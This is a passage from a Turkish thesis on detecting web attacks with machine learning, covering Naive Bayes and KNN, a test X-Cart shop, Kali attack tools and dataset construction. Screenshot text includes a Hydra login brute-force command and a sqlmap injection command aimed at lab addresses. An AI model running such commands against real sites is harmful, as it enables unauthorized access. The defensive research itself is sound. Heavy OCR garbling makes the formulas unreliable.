Sekil 5.7. Hata toleransina dayali aga¢ budama islemi

5.2.2. Naif Bayes (Naive Bayes) simiflandirma

Naive Bayes 0zellikler arasinda bagimsizlik oldugu varsayimi ile Bayes teoremine dayali bir
siiflandirma algoritmasidir. Bayes smiflandirma ile karmasik ve iteratif parametre
tahminlerine gerek kalmadan c¢ok biiylik veri setleri i¢in model olusturulmasi oldukca
kolaydir. Bayes siniflandirma modelinin olusturulmasi diger algoritmalara gore daha kolay
oldugu halde c¢ogu zaman smiflandirma basarisinda diger algoritmalarin Oniine

gecebilmektedir [49].

Bayes teoremi stokastik (rassal) bir siirece bagli olarak meydana gelen, birbirinden bagimsiz
oldugu kabul edilen, rasgele bir A olay1 ile rasgele bir B olay1 i¢in kosullu olasiliklar ve
marjinal olasiliklar arasindaki iligkiyi tanimlamaktadir. Bu teorem Thomas Bayes (1702-

1761) tarafindan olusturulmus ve Esitlik 5.8’de gosterilen formiil ile ifade edilmektedir [50].

p(x/C)P(C))
P(Ci/x) = —————— 5.8
( ] ) p(x) ( )
p(xX|Cj)  : Smnifj’den rastgele se¢ilen bir 6rnegin x olma olasilig1

P(Cy) : Sinif j’nin ilk olasilig
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p(x) : Tim orneklerde secilen herhangi bir 6rnegin x olma olasilig1
P(Cjlx) : xoldugu bilinen bir 6rnegin sinif j etiketine sahip olma olasilig1 (son
olasilik)

Naive Bayes siiflandirma islemi asagida anlatilan sekilde yapilmaktadir [51].

Ogrenme kiimesinde bulunan her bir nesne n boyuta sahip olsun, X = (x1, X2...., Xn)

Veri setinde m adet sinif etiketi bulunuyor olsun Ci, Ca, ..., Cn

P(CiX) degerini en biiyiik yapan olasilik degeri bulunur. Bu islem yapilirken Bayes
teoreminde bulunan P(X) boleni tim simf etiketleri i¢cin ayni oldugundan denklem

basitlestirilerek Esitlik 5.9°daki hale getirilir.
P(C;/X) = P(X/C)HP(C) (5.9

Esitlik 5.3°deki degerini en biiyiik yapan sinif etiketi tespit edilir.
Veri setinde bulunan tiim 6zellikler birbirinden bagimsiz olmak iizere P(X|C;) degeri

asagidaki Esitlik 5.10°daki formiil ile bulunur.

n
POKICI) = TT PO, 1) = P, 16 <P, 16i)x..xPlx, 1) (5.10)

5.2.3. K—en yakin komsu (K-nearest neigborhood KNN)

KNN algoritmasi, siniflandirma modellerinin olusturulmasinda kullanilan denetimli
o0grenme yontemleri arasinda yer alir. Kiimeleme algoritmasi olan K — ortalama (K - means)
algoritmasina ¢ok benzemekle birlikte, KNN algoritmast 6grenme kiimesi kullanilarak
egitilirken, yani simiflandirma islemi yaparken, K — ortalama algoritmasi i¢in bu durum s6z

konusu olmayip, kiimeleme islemi yapmaktadir.

KNN algoritmast ile smiflandirma yapilacak verilerin 6grenme kiimesindeki normal
davranis verilerine benzerlikleri hesaplanarak; en yakin oldugu diislinlilen k verinin
ortalamasiyla, belirlenen esik degere gore siniflara atamalart yapilir. Yontemde k degerine
bagli olarak yeni gelen bir iiyeyi en yakin oldugu gruba dahil eden algoritmadir. Onemli

olan, her bir sinifin 6zelliklerinin 6nceden net bir sekilde belirlenmis olmasidir. Yontemin
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performansin1 k en yakin komsu sayisi, esik deger, benzerlik Sl¢limii ve Ogrenme

kiimesindeki normal davranislarin yeterli sayida olmasi kriterleri etkilemektedir [52].

Secilen k degeri siniflandirma basarisin1 ¢ok etkilemektedir. Eger k degeri ¢ok kiiglik
secilirse olusturulan model ¢ok etkilenmekte, ¢ok biiylik segilirse tiim verilerin tek sinifa
atilmas1 problemi ortaya ¢ikmaktadir. Literatiirde en uygun k degerinin deneme yanilma

yontemi ile bulundugu belirtilmektedir [53, 54].

Uzaklik hesaplama fonksiyonlari: Uzaklik hesaplanmasinda Oklid uzakligi, Manhattan

uzakligi, Minkowski uzakligir gibi problemin uygunluguna gore kullanilabilecek cesitli
uzaklik hesaplama fonksiyonlar1 bulunmaktadir. Tez ¢alismasinda Oklid uzaklig

kullanilmistir.

K
Z(xi - ¥i)?

Oklid Uzakligu: (5.11)
k
Manhattan Uzaklig: Z |x; — yil (5.12)
i=1
K Ya
Minkowski Uzakligy: <Z(|xi _ yi|)q> (5.13)
i=1

Sekil 5.8°de Oklid uzakligi kullanilarak KNN algoritmasina gore yeni gelen nesnenin
(sekildeki yi1ldiz nesnesi) sinif etiketinin belirlenmesi gosterilmistir. KNN algoritmasi igin
k=3 se¢ildigi durumda sinif etiketi belirlenecek nesneye en yakin 3 nesneden 2 si B siif
etiketine, birisi A sinif etiketine sahiptir, bu sebeple ilgili nesneye sif etiketi olarak B
atanacaktir. K=6 secildiginde ise en yakin 4 komsu A sif etiketine, diger ikisi ise B sinif

etiketine sahip oldugu icin, yeni gelen nesnenin sinif etiketi A olarak belirlenecektir.



58

B Sinif Etiketi

Sekil 5.8. KNN algoritmasinin ¢alismasi [56]

KNN’in avantaji-dezavantaji: KNN algoritmasinin avantajlar;; uygulanmasi basittir,

giiriiltiilii verilerine kars1 etkilidir ve egitim kiimesindeki nesne sayis1 fazla ise daha etkin
olmaktadir. Dezavantajlari ise; algoritma baslangigta k parametresine belirlenmesine ihtiyag
duymaktadir, en 1yl sonucun aliabilmesi i¢in hangi uzaklik 6l¢limiiniin uygulanacagi ve

hangi Ozelliklerin alinacagi bilgisi acik degildir, deneme yanilma yoluyla bulunmasi

gerekmektedir ve hesaplama maliyeti yiiksektir [57].
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6. WEB SALDIRILARININ TESPIiTINE YONELIK SINIFLANDIRMA
MODELLERININ OLUSTURULMASI

Bu tez ¢calismasinda olusturulan bir e-ticaret web uygulamasina, normal web trafigi ve saldiri
trafigi olusturularak, web sunucusuna gelen istekler kaydedilmistir. Bu web istekleri gerekli
olan veri 6n isleme adimlarina tabi tutularak bir veri seti olusturulmustur. Veri seti
kullanilarak  ¢esitli veri madenciligi algoritmalar1 ile siniflandirma modelleri
olusturulmustur. Bu modellerin amac1 bilinen web saldirilarina iliskin 6nceden kaydedilmis
web istekleri ile egitildikten sonra, yeni gelen bir istegin saldir1 olup olmadigini tespit
etmektir. Sonrasinda ise olusturulan siniflandirma modelleri basari, zaman gibi performans
parametreleri agisindan karsilastirilarak, en iyi calisan model belirlenmistir. Bu
siniflandirma modeli Python programlama dili kullanilarak yeniden olusturulmus ve ilgili

web sitesine gelen web isteklerinin es zamanli olarak siniflandirilmasi amaglanmistir.
6.1. Kullanilan Araclar

E-ticaret sitesinin olusturulmasinda, web saldirilar trafiklerinin ve normal web trafiklerinin
olusturulmasinda, veri Onisleme islemlerinde ve wveri setinin olusturulmasindan,
siniflandirma modellerinin olusturulmasindan, en 1yi modelin saldir1 tespitinde kullanmak
iizere yazilim haline getirilmesinde ¢esitli yazilim araglari ve yazilim platformlar

kullanilmustir.

6.1.1. E-ticaret sitesinin olusturulmasinda kullanilan aracglar

E-ticaret, Elektronik Ticaret’in kisaltmasidir. ilk defa 1990’11 yillarin sonlaria dogru ortaya
¢ikmustir. Internet kullaniminin bu yillarda hizla artmasi, internette pazarlama teknikleri
ortaya ¢cikmaya baslamistir. E-ticaret agik olarak; mal ve hizmetlerin tanitim, reklam ve

cesitli calismalar ile birlikte satislarinin, internet iizerinden online olarak yapilmasidir [58].

E-ticaret, OECD (Iktisadi Isbirligi ve Kalkinma Teskilat1) tarafindan; sayisallastirilmis
yazili metin, ses ve goriintliniin islenmesi ve iletilmesine dayanan, kisileri ve kurumlari

ilgilendiren tiim ticari islemler olarak tanimlanmaktadir [59].


http://www.neticaret.com/
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Web uygulamasi olarak agik kaynak kodlu bir elektronik ticaret yazilim paketi olan Xcart

sistemi kullanilmistir.

Xcart: En ¢ok kullanilan e-ticaret yazilimlarindan birisidir. A¢ik kaynak kodlu ve iicretsiz
olarak herkesin erisimine acgiktir. Bir¢ok uygulama gelistiricisi tarafindan aktif olarak
gelistirilmeye devam edilmektedir. Cok yogun kullanima ve ii¢iincii kisiler tarafindan birgok
ek modiile sahip olmasi sebebiyle giivenlik agigima sahip olma riski artmaktadir. Bu

sebeplerle saldirganlarin 6nemli bir hedefi haline gelmistir.

Iki ana arayiizden olusmaktadir. Bunlardan bir tanesi iiriinlerin gdsterildigi ve satigmin
yapildig1 satis araylizii, digeri ise sitenin yonetimin yapildigi, satislarin ve diger islemlerin
takibinin yapildig1 yonetici arayiiziidiir. Sekil 6.1°de yonetim arayiizii, Sekil 6.2° de ise

miisgteri arayiizii gosterilmektedir.

= @i : Searchin @ @
Orders aoves recnorders(®) unpsis  paidbutnotshipped
Orders
Catalog
Promotions All payment statuses $ All shipping statuses S Search | &J
Users v
Save filter
Content
Orders
Modules
Order # Date 1 Customer Payment status Shipping status Amount
Store setup
Look & Feel #00005  Jan 12,2016.08:18 ez fles Paid v | Delivered 135281 G
System settings #00004 Jan 12, 2016. GL:—"[’-L—E—" Declined v Will Not Deliver ¥ 2801 0]
#00003  Aug2,2014 Gueziled Paid v Delivered $158.94 g
#00002  Mar 28,2014, 07:24 e Paid v Delivered v $4213 @

Export all: CSV

Sekil 6.1. Xcart yonetici arayiizii
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Sekil 6.2. Xcart miisteri arayiizii

Xcart sisteminin kurulumunda; Linux isletim sistemi iizerine, uygulama sunucu olarak PHP
5.6.17 versiyonu, web sunucusu olarak Apache 2.4.10 versiyonu, veritabani sunucusu olarak

Mysql 5.5.46 versiyonu kullanilmistir.

6.1.2. Normal ve saldir1 web trafiklerinin olusturulmasinda kullanilan araclar

1980’ 1i yillardan itibaren web uygulamalarina gergeklestirilen saldirilar ilk baslarda ¢ok
basit ve az sayida iken, giin gectikce saldir1 tiirlerinde artis olmus ve yapilan saldirilar daha
karmasik hale gelmeye baglamistir. Onceleri saldirilar saldirganin bilgi diizeyi ile iliskili iken
sonralar1 hazir saldir1 araglarinin ve bu araglarin karmasikliginin artmasi ve bu araglarla

saldirilarin nasil yapilacaginin kolayca ulasilabilir olmasi, saldir1 yapmak i¢in gerekli olan
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teknik bilgi miktarina bagimliligi azalmistir. Sekil 6.3°de goriilecegi iizere zamanla web
saldirt tiirleri daha karmagik hale gelmekle birlikte, kullanilan saldir1 araglarinin yetenekleri
ve gelismisligi de artmis ve buna bagli olarak saldir1 yapmak i¢in gereken teknik bilgiye olan

ihtiya¢ azalmustir.

Yiiksek A
BOT Ware and P80 Kullanilan

Services Araglarin Gelismisligi

Packet Forging/Spoofing / Blended Threats
Stealth Diagnostics

.‘. Pulsing Zombies

Sniffers '
Sweepers ‘.‘. Root Kits
Hijacking Sessions
Back ) - ‘3’. : 9
Exploiting Known @ Disabling Audits

Vulnerabilities

& Password
Cracking

Self Replicating Code

Saldirganlar igin
Gerekli Olan
Teknik Bilgi

Password Guessing

Dusuk

>
Zaman

Sekil 6.3. Saldir1 araglarinin gelismisligi ve gerekli olan teknik bilgi arasindaki degisim [60]

Web uygulamasina yonelik normal web trafikleri ve saldir1 trafikleri, Kali Linux 2.0 isletim
sistemi tizerinden, bu isletim sistemi lizerinde yiiklii gelen Burp Suite, Paros, W3 AF, Tshark,

Hydra, Sqlmap gibi yazilimlar kullanilarak gergeklestirilmistir.

Kali Linux: Kali Linux, Backtrack isletim sisteminin devami olan agik kaynak kodlu, Linux
tabanli, Debian isletim sisteminin 6zellestirilmis bir halidir [61]. Kurulumu sonrasinda
bir¢ok web ve ag saldir1 aracini beraberinde getirmekte olup, web saldiris1 ve sizma testi
gerceklestiren kullanicilarin vazgecilmez isletim sistemidir. Tez siiresince gergeklestirilen
tiim saldirilar bu isletim sistemi kullanilarak gerceklestirilmistir. Sekil 6.4’de Kali Linux

isletim sistemine ait kullanici arayiizli gosterilmektedir.
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Sekil 6.4. Kali Linux isletim sistemine ait arayiiz

Burp Suite: Burp Suite PortSwigger firmasi tarafindan gelistirilmis, web uygulama giivenlik
testlerinde ve saldirilarinda en sik kullanilan web proxy aracidir [62]. Oncelikle Proxy
kavramini aciklamak gerekirse; Proxy diger bir adiyla vekil sunucu olup, dogrudan bir
hizmete baglanmak yerine bu sunucuya baglanilarak, ilgili hizmetin, istek ve cevaplarin bu
sunucu araciligiyla almip, génderilmesini saglayan bir ara sunucudur. internete erisim
sirasinda direkt baglanti yerine bu sunucular iizerinden baglanilarak ve son kullanicinin
gercek kimligini  gizlenebilmektedir. Ciinkli internete bu sunucular iizerinden
baglanildigindan hizmet veren sunucu, baglanan makineyi degil oniindeki vekil sunucuyu
gorecektir. Saldirt sirasinda vekil sunucu kullanmanin iki amaci vardir; bir tanesi kimligin
gizlenmesi digeri ise Burp Suite’ in kullaniminda oldugu gibi gelen ve giden trafigi gormek,
araya girmek ve degistirebilmektedir. Burp Suite web saldirilart siirecini kolaylastirmak ve
hizlandirmak i¢in ¢esitli araglarin bir araya geldigi, bir¢ok ara yiiziin birlikte tasarlandig1 bir
platformundur [62]. Bu aragla giden veya gelen bir istegin ortasina girilerek istenildigi gibi
degistirilebilmekte, istekte bulunan parametreler istenilen sekilde (kaba kuvvet veya sozliik
saldiris1) otomatik degistirilerek saldirilar yapilabilmektedir. Ayrica OWASP Top Ten’ de
bulunan tiim saldirilar taranabilmektedir. Sekil 6.5°de Burp Suite aracina ait uygulama

araylizli gosterilmektedir.
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Sekil 6.5. Burp Suite giivenlik testi aracina ait arayliz

PAROS: Paros agik kaynak kodlu, Java tabanli bir web saldir1 aracidir [63]. Proxy 6zelligi
ile baglanti ayarlar1 yapilmis web tarayici ile girilen istekleri yakalayarak, bu istek i¢erisinde
bulunan web sayfalarini, kendi veritabaninda bulunan parametreler ile tarayarak, XSS, SQL
enjeksiyonu gibi buldugu giivenlik agiklarini raporlamada kullanilmaktadir [64]. Sekil

6.6’da Paros aracina iligkin arayiiz verilmistir.
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Cookie: language=en-gb; currency=USD

Content-length: 0

Raw View v

Sekil 6.6. Paros kullanici arayiizii
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W3AF (Web Application Attack and Audit Framework): W3AF, web uygulamalarinda

bulunan zafiyetlerin belirlenmesinde ve somiiriilmesinde kullanilan bir saldir1 aracidir [65].

Acik kaynak kodlu bir yazilim olup python programla dilinde gelistirilmistir. Sekil 6.7°de

kullanicr arayiizii gosterilmistir.

w3af - Web Application Attack and Audit Framework e ® 9o
Profiles Edit View Tools Configuration Help
N 00 o> 85 JE KO QA
Scan config | Log | | s | Exploit
Profiles Target: [http://lO‘100.86‘84/opencart| I "Start‘ ‘i‘

empty_profile Active Plugin

I OWASP_TOP10 B audit

audit_high_risk 4 auth
bruteforce > bruteforce
fast_scan >l crawl
full_audit > evasion

full_audit_spider_man “» grep

sitemap & | infrastructure

web_infrastructure > mangle

Active Plugin
> H output

The Open Web Application Security Project (OWASP) is a
worldwide free and open community focused on improving
the security of application software. OWASP searched for
and published the ten most common security flaws. This
profile search for this top 10 security flaws. For more
information about the security flaws: http://www.owasp.org/
index.php/OWASP_Top_Ten_Project .

00 Ao =o

Sekil 6.7. W3AF kullanici arayiizii
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HYDRA: Hydra giris islemlerinin kirilmasinda kullanilan, HTTP(S)-FORM-GET,
HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC,
LDAP, SMTP gibi bir¢ok protokolii destekleyen, sifre kirma saldir1 aracidir [66]. Genel
olarak kaba kuvvet (bruteforce) ve sozliikk saldiris1 (dictionary atack ) olmak iizere iki
yontemle sifre kirma saldiris1 gergeklestirmektedir. Saldir1 islemlerinde ¢oklu is parcaciklari
(multithreading) kullanarak paralel olarak ayni anda cok sayida sifre kirma isteginde
bulunabilmektedir. Komut satirindan ve gorsel olmak {izere iki arayiize sahip olmakla
birlikte genellikle komut arayiizii kullanilmaktadir. Sekil 6.8’de Hydra sifre kirma araci ile
komut satirindan bir web sitesinin giris ekranin yonelik, sozliik tabanli sifre kirma saldirisi
gosterilmistir. Bu saldirida kullanict adi sabit iken (admin), sifreler sozliikkten cekilerek
POST metodu (web uygulamasia veri géndermede kullanilan bir metot) ile sifre kirma

saldiris1 yapilmaktadir.

msevri@kali: ~ e ® O

File Edit View Search Terminal Help

:~$ hydra -1 admin -P /usr/share/dirb/wordlists/small.txt 192.168.1.101 http-post-f
orm "/dvwa/login.php:username="USER"&password="PASS"&Login=Login:Login failed" -V
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organi
zations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-08-29 09:33:27

[DATA] max 16 tasks per 1 server, overall 64 tasks, 959 login tries (1:1/p:959), ~0 tries per
task

[DATA] attacking service http-post-form on port 80

ATTEMPT] target 192.168.1.101 - login "admin" - pass "0" - 1 of 959 [child 0]

ATTEMPT] target 192.168.1.101 - login "admin" pass "00" - 2 of 959 [child 1]

ATTEMPT] target 192.168.1.101 - login "admin" pass "01" - 3 of 959 [child 2]

ATTEMPT] target - login "admin" pass "02" - 4 of 959 [child 3]

ATTEMPT] target login "admin" pass "03" - 5 of 959 [child 4]

ATTEMPT] target
ATTEMPT] target

login "admin" pass "1" - 6 of 959 [child 5]
login "admin" pass "10" - 7 of 959 [child 6]

ATTEMPT] target
ATTEMPT] target
ATTEMPT] target
ATTEMPT] target
ATTEMPT] target
ATTEMPT] target
ATTEMPT] target

- login "admin" pass "1000" - 9 of 959 [child 8]

- login "admin" pass "123" - 10 of 959 [child 9]

- login "admin" pass "2" - 11 of 959 [child 18]

- login "admin" pass "20" - 12 of 959 [child 11]

- login "admin" pass "200" - 13 of 959 [child 12]
- login "admin" pass "2000" - 14 of 959 [child 13]
- login "admin" pass "2001" - 15 of 959 [child 14]

[ 1
[ 1
[ )
[ 1
[ 1
[ 1
[ ! 7l
[ATTEMPT] target £ 2% - login "admin" pass "100" - 8 of 959 [child 7]
[ 1
[ 1
[ 1
[ 1
[ 1
[ 1
[ 1

Sekil 6.8. Hydra sifre kirma aracinin kullanimi

SQLMAP: Sqlmap agik kaynak kodlu, SQL enjeksiyon ataklarinda kullanilan gii¢lii bir
sizma testi aracidir [67]. Kullanicidan SQL sorgularinda kullanilmak iizere veri girisi alan
web uygularinda bulunan SQL enjeksiyonlarini tespit etmek ve acik varsa veritabanindan
veri ¢ekmek i¢in kullanilan otomatize edilmis bir saldir1 aracidir. SQL enjeksiyon ataklarina
iliskin bir cok parametre ve yontem ile veritabanlarinda SQL enjeksiyon acig1 ve bilgi kesfi
yapabilme yetenegine sahip ¢ok giiclii bir aractir. Sqlmap kullanilarak Xcart e-ticaret

uygulamasina gergeklestirilen SQL enjeksiyon saldirist Sekil 6.9°da gosterilmistir.
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File Edit View Search Terminal Help

[*] starting at 13:49:17

:~$ sudo sqglmap -u "http://10.100.86.84/opencart/index.php?route=acco
unt/login" --data="email=sevri 27@hotmail .com&password=deneme" -a

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

how do you want to proceed? [(C)ontiﬁue/(s)t ng/(r)egex/(q)uit] I

msevri@kali: ~ e @ 0

}

Sekil 6.9. Sqlmap araci kullanarak SQL enjeksiyon saldiris1 gergeklestirilmesi

Tshark: Tshark Wireshark ag trafik analiz programinin (network sniffer) komut satirindan

calisan halidir, dolayisiyla komut satirindan ¢alismanin esnekligi ve hizli performansi tercih

edilme sebebidir [68]. Tshark agik kaynak kodlu ¢ok giiclii bir ag izleme aracidir. Aglarin

temeli TCP/IP ye dayanmaktadir. Tshark ag analiz arac1 ile detayli protokol ve paket analizi

yapilabilmektedir. Tshark’ in protokol ve paket analizinde kullanilabilecek, cok islevsel olan,

cok sayida parametresi vardir. Tshark’ in dogal dosya formati tcpdump aracinda oldugu gibi

pcap formatidir. Tshark aracinda herhangi bir parametre verilmediginde tcpdump programi

ile ayn1 sonuglar1 vermektedir. Tez ¢alismasinda web sunucuya gelen http istek paketlerini

detaylar1 gozlemlemek ve kaydetmek i¢in Tshark ag analiz araci kullanilmistir.
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Web sunucusuna gelen http isteklerinin izlenmesini saglayan Tshark kullanimi Sekil 6.10°da

gosterilmistir.

msevri@kali: ~ e 0

File Edit View Search Terminal Help

:~$ sudo tshark -i eth@ -Y "http.request" -T fields -E separator= -e
frame.time -e urlencoded-form.key -e urlencoded-form.value -e ip.src -e tcp.srcpo
rt -e ip.dst -e tcp.dstport -e http.request.version -e http.request.method -e http.h
ost -e http.request.uri -e http.user _agent -e http.response.code -e http.content type
-e http.content length -e http.location -e http.referer -f "port 808"
tshark: Lua: Error during loading:

[string "/usr/share/wireshark/init.lua"] :46: dofile has been disabled due to running
Wireshark as superuser. See http://wiki.wireshark.org/CaptureSetup/CapturePrivileges f
or help in running Wireshark as an unprivileged user.

Running as user "root" and group "root". This could be dangerous.
Capturing on 'eth®'

Aug 30, 2016 05:30:20.728684000 EDT|||192.168.0.12|6332|192.168.0.10|80|HTTP/1.1|GET|1
92.168.0.10| fopencart/index .php?route=product/category&path=20 27 |Mozilla/5.0 (Windows
NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/53
7.36| ||| |http://192.168.0.10/0opencart/
Aug 30, 2016 05:30:21.114189000 EDT|||192.168.0.12|6332|192.168.0.10|80|HTTP/1.1|GET|1
92.168.0.10| fopencart/catalog/view/javascript/jquery/owl -carousel /owl .transitions.css|
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.
0.2743.116 Safari/537.36]| ||| |http://192.168.0.10/0pencart/index.php?route=product/cate
gory&path=20_ 27 !
Aug 30, 2016 05:30:21.118724000 EDT|||192.168.0.12|6333|192.168.0.10|80 |HTTP/1.1|GET|1
92.168.0.10| fopencart/image/cache/catalog/demo/compaq_presario-182x182.jpg|Mozilla/5.0
(Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 g

Sekil 6.10. Tshark ag izleme aracinin web trafigini izlemek i¢in kullanimi1

6.1.3. Simiflandirma modelinin olusturulmasinda kullanilan araclar

Veri Madenciligi konusunda gelistirilmis birgok yazilim bulunmaktadir. Bu yazilimlardan
kimisi ticari iken, kimisi agik kaynak kodludur. Bu nedenle veri madenciligi yazilimlar ticari

ve acik kaynak kodlu olmak iizere iki gruba ayrilmaktadir.

Ticari yazilimlara SPSS Modeler (Clementine), Excel, SPSS, SAS, Angoss, KXEN, MS
SQL Server, MATLAB ve Oracle’in bu amagla gelistirdigi modiilleri 6rnek olarak
verilebilmektedir. A¢ik kaynak yazilimlara ise Orange, RapidMiner, WEKA, R, Keel,
Knime, Tanagra, Scriptella ETL, jHepWork ve Elki 6rnek olarak verilebilmektedir [69-71].

Tez calismasinda, veri madenciligi algoritmalar1 kullanilarak web saldirilarinin tespitine
yonelik olusturulan modellerde Weka yazilimi kullanilmistir. En iyi sonu¢ veren modelin
yeniden olusturulmasi ve es zamanli saldir1 tespitinde kullanilmasinda ise Python programla

dili kullanilarak betik (script) olusturulmustur.
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WEKA (Waikato Environment for Knowledge Analysis) : Weka Yeni Zelanda’ da bulunan

Waikato iiniversitesindeki bir grup arastirmaci tarafindan gelistirilmis, agik kaynak kodlu,
java tabanli bir veri madenciligi yazilimidir [72]. Bir¢ok veri madenciligi algoritmasini
iizerinde getirmektedir. Kendisine 6zel, ARFF (Attiribute Relation File Format) uzantili bir
dosya formati bulunmakla birlikte CSV (Comma Separated Values) formatini da
desteklemektedir. Veri madenciligi i¢cin gerekli olan 6n isleme, smiflandirma modeli
olusturma ve test etme, kiimeleme, iliskilendirme gibi iglemlerin tamami yapabilmektedir.
Weka hem komut konsolundan komutlar araciligiyla hem de gorsel ara yiizden
kullanilabilmektedir. Konsoldan kullanimin avantaji Weka yazilimina kullanacagi sanal
bellek yonetiminin yapilabilmesidir. Veri miktar1 ¢ok fazla oldugunda direk grafiksel yiiziin
kullaniminda kolayca bellek tagsmalari1 olabilmektedir, bu sebeple konsoldan kullanim tercih
edilmektedir. Sekil 6.11°de Weka programina ait arayliz, Sekil 6.12°de ise kendi dosya bigimi
olan ARFF dosya formati goriilmektedir.

& Weka Explorer - O X
Preprocess Classify Cluster Assodiate Select attributes Visualize
Open URL... Open DB... Generate... Undo Edit... Save...
Filter
Choose  None Apply
Current relation Selected attribute
Relation: output_http_csic_2010_weka_with_duplications_utf8_escd _... Name: index Type: Numeric
Instances: 223585 Attributes: 18 Missing: 0 (0%) Distinct: 36000 Unique: 5412 (2%)
Attributes Statistic Value
All None Invert Pattern Mirimum 0
Maximum 35999
1 Mean 17183.744
| No: Name StdDev 9911.439
A
2|[|method
3| Jurl
4| Jprotocol
5 [ JuserAgent Class: label (Nom) v | Visualize All
6| |pragma
7|[JecacheControl
8 Jaccept
9|[JacceptEncoding
10|["JacceptCharset
11/ Jacceptianguage
12|["Jhost
13 L] connection v
ia T
Remove
1
35999
Status
> = |

Sekil 6.11. Weka yazilimina ait grafiksel arayiiz
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[;{ C:\Program Files (x86)\Weka-3-6\data\weather.nominal.arff - Notepad++ —
Dosya Dizenle Ara Goranim Kodlama Diller Ayarlar Makrolar Calistir Eklentiler Pencereler 7
cEHEHBER LA s MR 2ty @z BE| T EEEE| @@=

[=] weather.nominal arff E3 l

@relation weather.symbolic

w N =

@attribute outlook {sunny, overcast, rainy}
@attribute temperature {hot, mild, cool}
@attribute humidity {high, normal}
@attribute windy {TRUE, FALSE}

@attribute play {yes, no}

~ Oy U1

@data

sunny, hot, high, FALSE, no
sunny, hot,high, TRUE, no
overcast,hot, high, FALSE, yes
rainy,mild, high, FALSE, yes
rainy,cool,normal, FALSE, yes
rainy, cool,normal, TRUE, no
overcast,cool,normal, TRUE, yes
sunny,mild, high, FALSE, no
sunny, cool,normal, FALSE, yes
rainy,mild,normal, FALSE, yes
sunny,mild, normal, TRUE, yes
overcast,mild, high, TRUE, yes
overcast,hot,normal, FALSE, yes
23 rainy,mild,high, TRUE, no

24

T e e |
U W N O

[

1
)
2

N = O W oo

length: 587 lines: 24 Ln:1 Col:1 Sel:0|0 UNIX UTF-8

INS

Sekil 6.12. ARFF dosya formati

Python programlama dili: Python, nesne yonelimli, yorumlamali, birimsel (modiiler) ve
etkilesimli yliksek seviyeli bir programlama dilidir [73]. Modiiler olmas1 sebebiyle tiim veri
girislerini ve veri tiirlerini desteklemektedir. Ayrica platform bagimsiz bir programlama dili
olup, Linux, Windows, Mac-Os, Amiga, Symbian gibi bir¢cok isletim sisteminde
caligabilmektedir. Python programlama dili ile sistem programlama, web programlama, ag
programlama, masaiistii uygulama ve veritabani programlama gibi ¢esitli alanlarda yazilim
ve uygulama gelistirmek miimkiindiir. Cok esnek bir dil olmasi sebebiyle bilgisayar
korsanlar tarafindan siklikla kullanilan ve sevilen bir programlama dilidir. Python’ da kod
bloklar1 olusturmak i¢in herhangi bir kiimele parantezi veya farkli bir karakter kullanilmayip

okunurlugunun daha sade olmasi i¢in hizalama kullanilmaktadir. C, C++ gibi dillerin aksine

herhangi bir derleyiciye ihtiya¢ duymadan ¢aligmaktadir.
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6.2. Veri Setinin Olusturulmasi

Web uygulamalarinin glivenliginde kullanilan ve web trafigine iliskin paketlerin
derinlemesine analiz edebilen WAF’ larin test edilebilmesi i¢in kullanilabilecek giincel veri
seti ¢cok az sayida bulunmaktadir. Giinlimiizde IDS (Intrusion Detection System)’ lerin
testinde en ¢ok bilinen ve en ¢ok kullanilan veri seti DARPA’ ya ait olan KDD 99 veri setidir
[74, 75]. Bununla birlikte bu veri seti eski oldugu ve giincel saldir tiirlerini barindirmadigi
icin elestirilmektedir [76]. Bundan dolayr web ataklarinin tespitine yonelik caligsmalarda
daha giincel saldir1 tiirleri ve trafik verileri iceren veri setlerinin kullanilmasi daha uygun
olacagi i¢cin, OWASP Top Ten’ de bulunan saldir1 tiirleri ile veri seti olusturulmasi uygun

bulunmustur.

Siniflandirma modellerinin egitilmesinde ve test edilmesinde kullanilacak veri seti http
isteklerinden olugmaktadir. Veri setinin olusturulmasi asagida agiklandigi gibi genel olarak

5 asamada gerceklestirilmistir.

1. Websitesinde bulunan tiim sayfalar ve aldiklari parametreler taranarak bir liste
olusturulmustur. Websitesinde bulunan sayfalarin ve aldiklar1 parametrelerin

taranmasi islemi Paros araci kullanilarak gerceklestirilmistir.

2. Otomatize araglar ile web trafigi iiretebilmek icin, aligveris sitesindeki sayfalarda
bulunan parametrelere gonderilecek veriler (payload, kullanicilarin web sitelerine
gonderdikleri veriler) iki farkli tabloya kaydedilmistir. Normal trafik meydana
getirmek i¢in gereken veriler bir tabloya, saldir1 trafigi meydana getirmek icin gerekli

olan veriler ise diger tabloya kaydedilmistir.

3. Tiim sayfalar ve parametreleri i¢in normal ve saldir1 igeren istekler Burp Suite, Paros,

W3AF, Sglmap gibi araglar kullanilarak olusturulmustur.

4. Tshark araci kullanilarak, eszamanli olarak web sunucuya gelen tiim istekler ¢esitli

HTTP 6zelliklerine gore bir kiitiige kaydedilmistir.

5. Kullanilan tabloya gdre normal veya anormal seklinde etiketleme islemi yapilarak,

http isteklerinden olusan veri seti olusturulmustur.



72

6.2.1. URI (Uniform Resource Identifier) listesi olusturulmasi

Xcart e-ticaret sitesinin Paros araci ile taranmasi sonucu web sitesinde birisi satis i¢in
kullanilan “cart.php”, digeri ise yonetim paneli olarak kullanilan “admin.php” olmak iizere
iki sayfa tespit edilmistir. Bu sayfalarin disinda ¢ok sayida dosya tespit edilmis olup, bunlarin
atakta kullanilmasi diisliniilmedigi i¢in dikkate alinmamustir. Paros aracinin Spider modiilii
kullanilarak yapilan taramada 202’ si “cart.php” 261’1 “admin.php” i¢in olmak {izere toplam
463 farkli parametre ye sahip URI (Standart kaynak belirteci) tespit edilmistir. Bu URI
lerden bazilar1 hi¢ parametre almazken, bazilar1 birden fazla parametre icermektedir. Paros

ile tarama sonucu elde edilen URI listesi Sekil 6.13°deki gibidir.

1 http://192.168.0.10/xcart/cart.php
